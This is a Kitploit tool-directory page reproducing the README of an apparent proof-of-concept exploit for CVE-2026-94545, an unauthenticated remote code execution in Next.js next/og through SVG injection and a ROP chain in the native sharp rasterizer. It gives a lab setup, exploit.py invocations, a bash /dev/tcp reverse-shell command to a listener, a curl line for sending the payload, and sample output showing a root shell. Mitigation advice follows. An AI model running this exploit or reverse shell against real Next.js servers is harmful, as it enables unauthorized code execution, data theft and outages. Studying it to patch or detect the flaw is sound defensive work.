Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-94545 — Proof-of-concept exploit for CVE-2026-94545, an unauthenticated RCE in Next.js next/og via SVG injection and a ROP chain against the native sharp rasterizer. | Kitploit
Tools/GitHubGitHub/eqstlab/cve-2026-94545
Vulnerability AnalysisExploitationReverse EngineeringWeb Application ExploitationRemote Access ToolPayload Development
GitHubeqstlab/cve-2026-94545

CVE-2026-94545

Proof-of-concept exploit for CVE-2026-94545, an unauthenticated RCE in Next.js next/og via SVG injection and a ROP chain against the native sharp rasterizer.

View Repository
9361 day agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-94545 Next.js next/og Unauthenticated RCE

★ CVE-2026-94545 Next.js next/og SVG injection to native RCE ★

https://github.com/user-attachments/assets/e297b40b-36ad-4a9a-b0c1-a64429bc0160


Overview

next/og builds Open Graph images by rendering JSX to an SVG with Satori and then rasterizing that SVG. Satori writes user-supplied text into the SVG without escaping it (CWE-116), so a request can close the surrounding element and inject its own SVG markup. When the route runs on the Node.js runtime with sharp installed, that SVG is rasterized by native libraries (libvips, librsvg, libxml2) rather than the sandboxed wasm renderer. A payload built from an XInclude reference and nested DTD entities corrupts memory inside that native parser. The official Node.js binary is non-PIE, so its code and GOT are not randomized and a fixed ROP chain reaches execve without an address leak. One unauthenticated request to an OG-image route is enough to run commands as the server process.


Affected Versions

CategoryVersion
VulnerableNext.js 16.2.0 – 16.3.5 (Node runtime, sharp present), Satori >=0.0.27 <0.33.5
PatchedNext.js 16.3.6 / Satori 0.33.5 or later

Only the Node.js runtime path is affected. With export const runtime = 'edge', or an install without sharp, the image is drawn by the sandboxed resvg-wasm renderer and the bug does not lead to code execution.


Impact

  • Unauthenticated code execution as the Next.js server process. Any route that passes request data into ImageResponse is a sink.
  • The exploit is blind. A successful execve replaces the worker, so the HTTP request simply closes and the result has to come back another way, such as a reverse shell or a command that phones home.
  • The payload is stable. Because the Node binary is non-PIE, the gadget addresses are the same on every host and reboot for a given Node build, so no per-target leak or bruteforce is needed.
  • A successful hit crashes the worker. The node process is replaced by the injected command, so the server stops responding until it is restarted.

Environment

A minimal Next.js app that reproduces the vulnerable configuration. The route at /api/og renders an ImageResponse on the Node runtime, and sharp is installed so the native rasterizer is used. The image pins the exact stack the ROP chain depends on (Node 24.20.0 non-PIE, Next 16.3.5, sharp 0.35.4 with libvips 8.18.6, librsvg 2.62.91, libxml2 2.15.3). The first build pulls Node, installs npm dependencies, and runs next build, which takes a few minutes.

docker build -t cve-2026-94545 .
docker run -d --name cve-2026-94545 -p 3000:3000 cve-2026-94545

# sanity check: a benign render returns 200
curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:3000/api/og?value=hello"
PreconditionState in this lab
Next.js 16.2.0 – 16.3.5 on the Node runtimeNext 16.3.5, runtime = 'nodejs'
sharp installed, so the native librsvg/libxml2 path is usedsharp 0.35.4, libvips 8.18.6, rsvg 2.62.91, xml2 2.15.3
Non-PIE Node binary for a stable ROP baseofficial Node v24.20.0 linux-x64 (SHA-verified)
OG-image route reachable without authGET and POST /api/og, request text goes into an SVG <title>
Outbound path available for a reverse shellbash and /dev/tcp are present

PoC

The vulnerable route is POST /api/og. It takes the request body and places it in an SVG <title> before rasterizing. exploit.py builds that SVG for a chosen command, encodes the ROP chain into a <path>, and sends it to the route.

The simplest run opens a reverse shell. Give it the target and a listener address; it starts nc for you, fires the request, and hands you the shell.

python3 exploit.py --target 172.17.0.3:3000 --lhost 172.17.0.4:4444

The payload is calibrated to the stack listed in Environment, so run it against this image or a host with the same Node and sharp build. A hit replaces the node process with your command, which means the HTTP request closes and the service stops answering until the container is restarted.

[*] Command: bash -c 'bash -i>&/dev/tcp/172.17.0.4/4444 0>&1' (49 bytes)
[*] payload bytes=24693 sha256=...
[*] Listener: nc -lvnp 4444
[*] POST http://172.17.0.3:3000/api/og (24693 bytes)
[*] Target closed connection (expected)
connect to [172.17.0.4] from (UNKNOWN) [172.17.0.3] 43118
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux 6e2b1c4a7f9d 5.15.0 #1 SMP x86_64 GNU/Linux

The reverse shell runs as the server process, which confirms code execution from a single unauthenticated request. To run one command without a listener, pass it directly; note that the output does not return over HTTP, so the command has to send anything you want to see out of band.

# single command, no listener
python3 exploit.py --target 172.17.0.3:3000 --command "id"

# only build the payload, then send it yourself
python3 exploit.py --target 172.17.0.3:3000 --command "id" --output payload.bin
curl --data-binary @payload.bin -H "Content-Type: text/plain" http://172.17.0.3:3000/api/og

Mitigation

  • Upgrade to Next.js 16.3.6 / Satori 0.33.5 or later, which escapes SVG text when it is serialized and closes the injection.
  • If you cannot upgrade yet, move next/og routes to export const runtime = 'edge' so the sandboxed wasm renderer is used, or remove sharp so the native path is not reached, and keep unsanitized user input out of ImageResponse children.
  • Put OG-image routes behind authentication or an allowlist, and restrict the server's outbound traffic to make blind exfil harder.
  • After patching, treat an internet-reachable instance as compromised: rotate any secrets the app process could read and check for persistence.

Analysis

  • KR:
  • EN:
Download Tool